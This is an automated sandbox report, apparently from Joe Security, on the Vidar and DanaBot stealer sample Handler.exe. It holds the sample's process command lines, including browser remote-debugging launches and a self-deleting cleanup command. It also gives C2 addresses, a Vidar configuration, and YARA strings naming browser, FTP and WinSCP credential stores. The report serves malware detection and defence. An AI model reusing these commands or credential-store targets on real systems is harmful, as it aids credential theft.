Edit tour

Windows Analysis Report
Handler.exe

Overview

General Information

Sample name:	Handler.exe
Analysis ID:	1590245
MD5:	9c11f8b0f55dfbcd4b67c6a56fb0f11f
SHA1:	040437d898ccf617506617f9d12b364ae8784727
SHA256:	25a15af2bab20ec576f778acfde2f027d31b2c1c389ab707360e8397724d7f66
Tags:	c2exevidaruser-Lars
Infos:

Detection

DanaBot, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DanaBot stealer dll

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

May use the Tor software to hide its network traffic

Monitors registry run keys for changes

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the installation date of Windows

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Handler.exe (PID: 6332 cmdline: "C:\Users\user\Desktop\Handler.exe" MD5: 9C11F8B0F55DFBCD4B67C6A56FB0F11F)

Handler.exe (PID: 5532 cmdline: "C:\Users\user\Desktop\Handler.exe" MD5: 9C11F8B0F55DFBCD4B67C6A56FB0F11F)

chrome.exe (PID: 5428 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2296,i,16265888405740233953,487256461960710161,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 5000 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7456 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2512,i,6456862543723051925,6952056240322509196,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

5fctr1d2dt.exe (PID: 2460 cmdline: "C:\ProgramData\5fctr1d2dt.exe" MD5: 0A6AE4DE16757CD121632BAD3A903EDA)

cmd.exe (PID: 8048 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\tjw47" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7132 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

WerFault.exe (PID: 4996 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6332 -s 912 MD5: C31336C1EFC2CCB44B4326EA793040F2)

msedge.exe (PID: 6524 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7792 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6636 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6692 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5688 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6788 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DanaBot	Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on quality over quantity in email-based threats. DanaBots modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.	SCULLY SPIDER	https://asec.ahnlab.com/en/30445/ https://asert.arbornetworks.com/danabots-travels-a-global-perspective/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.lexfo.fr/danabot-malware.html https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199817305251", "Botnet": "fc0stn"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x38fdbe:$f1: FileZilla\recentservers.xml 0x38fd7a:$f2: FileZilla\sitemanager.xml 0x3ba3b0:$b1: Chrome\User Data\ 0x3c0e54:$b1: Chrome\User Data\ 0x3c1970:$b1: Chrome\User Data\ 0x3a1524:$b2: Mozilla\Firefox\Profiles 0x3b52e8:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3e0170:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3b3cd2:$b4: Opera Software\Opera Stable\Login Data 0x3ba480:$b5: YandexBrowser\User Data\ 0x3d2dee:$s5: account.cfn 0x3b31b0:$s6: wand.dat 0x3b2c64:$a1: username_value 0x3b9224:$a1: username_value 0x3b94f4:$a1: username_value 0x3bb9a8:$a1: username_value 0x3b2c90:$a2: password_value 0x3b927c:$a2: password_value 0x3b954c:$a2: password_value 0x3bba00:$a2: password_value 0x3bcaa4:$a3: encryptedUsername
C:\ProgramData\5fctr1d2dt.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\ProgramData\5fctr1d2dt.exe	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
C:\ProgramData\5fctr1d2dt.exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x38fdbe:$f1: FileZilla\recentservers.xml 0x38fd7a:$f2: FileZilla\sitemanager.xml 0x3ba3b0:$b1: Chrome\User Data\ 0x3c0e54:$b1: Chrome\User Data\ 0x3c1970:$b1: Chrome\User Data\ 0x3a1524:$b2: Mozilla\Firefox\Profiles 0x3b52e8:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3e0170:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3b3cd2:$b4: Opera Software\Opera Stable\Login Data 0x3ba480:$b5: YandexBrowser\User Data\ 0x3d2dee:$s5: account.cfn 0x3b31b0:$s6: wand.dat 0x3b2c64:$a1: username_value 0x3b9224:$a1: username_value 0x3b94f4:$a1: username_value 0x3bb9a8:$a1: username_value 0x3b2c90:$a2: password_value 0x3b927c:$a2: password_value 0x3b954c:$a2: password_value 0x3bba00:$a2: password_value 0x3bcaa4:$a3: encryptedUsername
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x53b8d:$str01: MachineID: 0x53bb6:$str02: Work Dir: In memory 0x53c50:$str03: [Hardware] 0x53c85:$str04: VideoCard: 0x53c92:$str05: [Processes] 0x53c9f:$str06: [Software] 0x53cab:$str07: information.txt 0x53cbc:$str08: %s\* 0x53df3:$str08: %s\* 0x52ad4:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x5264f:$str17: build_id 0x52687:$str18: file_data
00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Process Memory Space: Handler.exe PID: 5532	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Handler.exe PID: 5532	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5fctr1d2dt.exe PID: 2460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5fctr1d2dt.exe PID: 2460	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.Handler.exe.400000.0.raw.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x53b8d:$str01: MachineID: 0x53bb6:$str02: Work Dir: In memory 0x53c50:$str03: [Hardware] 0x53c85:$str04: VideoCard: 0x53c92:$str05: [Processes] 0x53c9f:$str06: [Software] 0x53cab:$str07: information.txt 0x53cbc:$str08: %s\* 0x53df3:$str08: %s\* 0x52ad4:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x5264f:$str17: build_id 0x52687:$str18: file_data
22.0.5fctr1d2dt.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
22.0.5fctr1d2dt.exe.400000.0.unpack	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
22.0.5fctr1d2dt.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x38fdbe:$f1: FileZilla\recentservers.xml 0x38fd7a:$f2: FileZilla\sitemanager.xml 0x3ba3b0:$b1: Chrome\User Data\ 0x3c0e54:$b1: Chrome\User Data\ 0x3c1970:$b1: Chrome\User Data\ 0x3a1524:$b2: Mozilla\Firefox\Profiles 0x3b52e8:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3e0170:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3b3cd2:$b4: Opera Software\Opera Stable\Login Data 0x3ba480:$b5: YandexBrowser\User Data\ 0x3d2dee:$s5: account.cfn 0x3b31b0:$s6: wand.dat 0x3b2c64:$a1: username_value 0x3b9224:$a1: username_value 0x3b94f4:$a1: username_value 0x3bb9a8:$a1: username_value 0x3b2c90:$a2: password_value 0x3b927c:$a2: password_value 0x3b954c:$a2: password_value 0x3bba00:$a2: password_value 0x3bcaa4:$a3: encryptedUsername

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\Handler.exe", ParentImage: C:\Users\user\Desktop\Handler.exe, ParentProcessId: 5532, ParentProcessName: Handler.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 5428, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Danabot Key Exchange Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T20:19:53.015704+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50153	194.32.76.77	443	TCP
2025-01-13T20:19:54.082347+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50154	45.76.251.57	443	TCP
2025-01-13T20:19:55.151041+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50155	194.32.76.77	443	TCP
2025-01-13T20:19:56.241118+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50156	45.76.251.57	443	TCP
2025-01-13T20:20:04.770521+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50161	194.32.76.77	443	TCP
2025-01-13T20:20:06.284573+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50162	45.76.251.57	443	TCP
2025-01-13T20:20:07.358470+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50163	194.32.76.77	443	TCP
2025-01-13T20:20:08.468651+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50164	45.76.251.57	443	TCP
2025-01-13T20:20:13.851435+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50169	194.32.76.77	443	TCP
2025-01-13T20:20:13.943084+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50170	45.76.251.57	443	TCP
2025-01-13T20:20:14.046521+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50171	194.32.76.77	443	TCP
2025-01-13T20:20:14.118497+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50172	45.76.251.57	443	TCP
2025-01-13T20:20:24.230553+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50177	194.32.76.77	443	TCP
2025-01-13T20:20:25.607663+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50178	45.76.251.57	443	TCP
2025-01-13T20:20:27.120388+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50179	194.32.76.77	443	TCP
2025-01-13T20:20:28.847889+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50180	45.76.251.57	443	TCP
2025-01-13T20:20:31.925010+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50186	194.32.76.77	443	TCP
2025-01-13T20:20:33.699941+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50187	45.76.251.57	443	TCP
2025-01-13T20:20:35.791850+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50188	194.32.76.77	443	TCP
2025-01-13T20:20:38.127481+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50189	45.76.251.57	443	TCP
2025-01-13T20:20:46.985963+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50194	194.32.76.77	443	TCP
2025-01-13T20:20:47.245561+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50195	45.76.251.57	443	TCP
2025-01-13T20:20:47.309421+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50196	194.32.76.77	443	TCP
2025-01-13T20:20:47.390933+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50197	45.76.251.57	443	TCP
2025-01-13T20:20:59.025854+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50202	194.32.76.77	443	TCP
2025-01-13T20:21:00.728744+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50203	45.76.251.57	443	TCP
2025-01-13T20:21:02.343703+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50204	194.32.76.77	443	TCP
2025-01-13T20:21:04.091742+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50205	45.76.251.57	443	TCP
2025-01-13T20:21:07.450686+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50210	194.32.76.77	443	TCP
2025-01-13T20:21:10.582921+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50211	45.76.251.57	443	TCP
2025-01-13T20:21:12.243924+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50212	194.32.76.77	443	TCP
2025-01-13T20:21:14.265625+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50213	45.76.251.57	443	TCP
2025-01-13T20:21:24.931833+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50218	194.32.76.77	443	TCP
2025-01-13T20:21:25.115172+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50219	45.76.251.57	443	TCP
2025-01-13T20:21:25.190354+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50220	194.32.76.77	443	TCP
2025-01-13T20:21:25.259897+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50221	45.76.251.57	443	TCP
2025-01-13T20:21:37.531139+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50230	194.32.76.77	443	TCP
2025-01-13T20:21:39.918996+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50231	45.76.251.57	443	TCP
2025-01-13T20:21:42.320074+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50232	194.32.76.77	443	TCP
2025-01-13T20:21:44.447372+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50233	45.76.251.57	443	TCP
2025-01-13T20:21:47.720809+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50238	194.32.76.77	443	TCP
2025-01-13T20:21:50.006135+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50239	45.76.251.57	443	TCP
2025-01-13T20:21:52.386471+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50240	194.32.76.77	443	TCP
2025-01-13T20:21:54.315688+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50241	45.76.251.57	443	TCP
2025-01-13T20:22:07.071343+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50246	194.32.76.77	443	TCP
2025-01-13T20:22:07.148491+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50247	45.76.251.57	443	TCP
2025-01-13T20:22:07.207800+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50248	194.32.76.77	443	TCP
2025-01-13T20:22:07.362129+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50249	45.76.251.57	443	TCP
2025-01-13T20:22:20.363821+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50254	194.32.76.77	443	TCP
2025-01-13T20:22:22.517469+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50255	45.76.251.57	443	TCP
2025-01-13T20:22:24.571433+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50256	194.32.76.77	443	TCP
2025-01-13T20:22:27.083896+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50257	45.76.251.57	443	TCP
2025-01-13T20:22:33.105371+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50262	194.32.76.77	443	TCP
2025-01-13T20:22:35.617116+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50264	45.76.251.57	443	TCP
2025-01-13T20:22:38.426327+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50265	194.32.76.77	443	TCP
2025-01-13T20:22:40.553392+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50266	45.76.251.57	443	TCP
2025-01-13T20:22:50.591405+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50271	194.32.76.77	443	TCP
2025-01-13T20:22:51.645106+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50272	45.76.251.57	443	TCP
2025-01-13T20:22:51.696595+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50273	194.32.76.77	443	TCP
2025-01-13T20:22:51.746232+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50274	45.76.251.57	443	TCP
2025-01-13T20:22:59.064229+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50280	194.32.76.77	443	TCP
2025-01-13T20:23:00.124036+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50281	45.76.251.57	443	TCP
2025-01-13T20:23:01.192019+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50282	194.32.76.77	443	TCP
2025-01-13T20:23:02.271321+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50283	45.76.251.57	443	TCP
2025-01-13T20:23:06.560514+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50288	194.32.76.77	443	TCP
2025-01-13T20:23:07.625264+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50289	45.76.251.57	443	TCP
2025-01-13T20:23:08.703222+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50290	194.32.76.77	443	TCP
2025-01-13T20:23:09.783625+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50291	45.76.251.57	443	TCP
2025-01-13T20:23:15.141834+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50296	194.32.76.77	443	TCP
2025-01-13T20:23:15.203064+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50297	45.76.251.57	443	TCP
2025-01-13T20:23:15.259160+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50298	194.32.76.77	443	TCP
2025-01-13T20:23:15.298852+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50299	45.76.251.57	443	TCP
2025-01-13T20:23:22.714479+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50304	194.32.76.77	443	TCP
2025-01-13T20:23:23.787978+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50305	45.76.251.57	443	TCP
2025-01-13T20:23:24.848904+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50306	194.32.76.77	443	TCP
2025-01-13T20:23:25.927267+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50307	45.76.251.57	443	TCP
2025-01-13T20:23:28.177253+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50312	194.32.76.77	443	TCP
2025-01-13T20:23:29.249088+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50313	45.76.251.57	443	TCP
2025-01-13T20:23:30.309694+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50315	194.32.76.77	443	TCP
2025-01-13T20:23:31.378227+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50316	45.76.251.57	443	TCP
2025-01-13T20:23:36.805374+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50321	194.32.76.77	443	TCP
2025-01-13T20:23:36.899069+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50322	45.76.251.57	443	TCP
2025-01-13T20:23:36.967069+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50323	194.32.76.77	443	TCP
2025-01-13T20:23:37.060533+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50324	45.76.251.57	443	TCP
2025-01-13T20:23:44.434309+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50329	194.32.76.77	443	TCP
2025-01-13T20:23:45.509985+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50330	45.76.251.57	443	TCP
2025-01-13T20:23:46.574322+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50331	194.32.76.77	443	TCP
2025-01-13T20:23:47.644057+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50332	45.76.251.57	443	TCP
2025-01-13T20:23:49.926270+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50337	194.32.76.77	443	TCP
2025-01-13T20:23:50.976077+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50338	45.76.251.57	443	TCP
2025-01-13T20:23:52.039216+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50339	194.32.76.77	443	TCP
2025-01-13T20:23:53.098455+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50340	45.76.251.57	443	TCP
2025-01-13T20:23:58.450091+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50345	194.32.76.77	443	TCP
2025-01-13T20:23:59.514195+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50346	45.76.251.57	443	TCP
2025-01-13T20:23:59.566001+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50347	194.32.76.77	443	TCP
2025-01-13T20:23:59.610152+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50348	45.76.251.57	443	TCP
2025-01-13T20:24:06.953078+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50353	194.32.76.77	443	TCP
2025-01-13T20:24:08.015118+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50354	45.76.251.57	443	TCP
2025-01-13T20:24:09.089842+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50355	194.32.76.77	443	TCP
2025-01-13T20:24:10.151117+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50356	45.76.251.57	443	TCP
2025-01-13T20:24:13.432688+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50361	194.32.76.77	443	TCP
2025-01-13T20:24:14.486677+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50362	45.76.251.57	443	TCP
2025-01-13T20:24:15.552062+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50363	194.32.76.77	443	TCP
2025-01-13T20:24:16.619126+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50364	45.76.251.57	443	TCP
2025-01-13T20:24:21.997547+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50369	194.32.76.77	443	TCP
2025-01-13T20:24:23.049803+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50370	45.76.251.57	443	TCP
2025-01-13T20:24:23.092225+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50371	194.32.76.77	443	TCP
2025-01-13T20:24:23.134597+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50372	45.76.251.57	443	TCP
